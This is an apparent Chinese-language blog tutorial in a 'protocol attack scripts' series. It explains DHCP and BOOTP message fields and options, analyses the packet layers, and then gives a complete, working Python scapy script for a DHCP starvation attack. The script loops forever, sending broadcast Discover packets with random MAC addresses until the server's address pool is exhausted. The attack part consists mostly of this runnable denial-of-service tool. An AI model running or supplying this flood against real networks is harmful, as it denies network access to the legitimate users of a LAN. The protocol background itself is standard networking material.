Python 協議攻擊腳本(七): DHCP攻擊

DCHP知識鋪墊

DHCP

動態主機設置協議(英語:Dynamic Host Configuration Protocol,縮寫:DHCP)是一個局域網的網絡協議,使用UDP協議工作

BOOTP

BOOTP(Bootstrap Protocol,引導程序協議)是一種引導協議,基於IP/UDP協議,也稱自舉協議,是DHCP協議的前身。

關係

  • DHCP 是BOOTP 的增強版本都是基於TCP/IP協議的協議

  • DHCP的消息格式是基於BOOTP的消息格式的

報文部分字段

  • op:消息操作代碼
    • 1 客戶端請求報文(BOOTREQUEST)
    • 2 服務器響應報文(BOOTREPLY)
  • xid:事務ID,由客戶端選擇的一個隨機數,被服務器和客戶端用來在它們之間交流請求和響應
  • chaddr:客戶端MAC地址
  • option:選項字段

常見option選項

Option id name 描述
1 Subnet Mask 子網掩碼
3 Router 網關
6 DNS Server DNS服務器
51 IP address lease time IP地址租期
53 Message type 消息類型
54 DHCP Server Identifier DHCP服務器身份

IP請求中的Message type:

  • 1 DHCP發現(DISCOVER)
  • 2 DHCP提供(OFFER)
  • 3 DHCP請求(REQUEST)
  • 5 DHCP確認(Acknowledge,ACK)

DHCP耗盡攻擊

不斷的發送DHCP Dscover來向DHCP服務器請求IP地址,導致地址池耗盡,對網絡造成破壞

詳見:

DHCP協議 | wiki

DHCP Option 文檔 | cisco

BOOTP/DHCP options

數據包分析

DHCP 服務器: 192.168.1.1
地址池:192.168.1.100-200

mark

Ether

  • src: 本機mac
  • dst: ff:ff:ff:ff:ff:ff 廣播地址

IP

  • src: 0.0.0.0

UDP

  • src port:68
  • dst port:67

DHCP

  • chaddr:本機mac

  • option: 53 Discover

編寫腳本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from scapy.all import (
    Ether,
    RandMAC,
    IP,
    UDP,
    BOOTP,
    DHCP,
    sendp
)
import random

def dhcp_discover(iface):
    while 1:
        xid_random = random.randint(1, 900000000)
        mac_random = str(RandMAC())
        dhcp_discover = (Ether(src=mac_random,dst='ff:ff:ff:ff:ff:ff')/
                     IP(src='0.0.0.0',dst='255.255.255.255')/
                     UDP(sport=68,dport=67)/
                     BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000)/
                     DHCP(options=[('message-type','discover')]
                     ))

        sendp(dhcp_discover,iface=iface)



if __name__ == '__main__':
    iface = 'eth0'
    dhcp_discover(iface)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章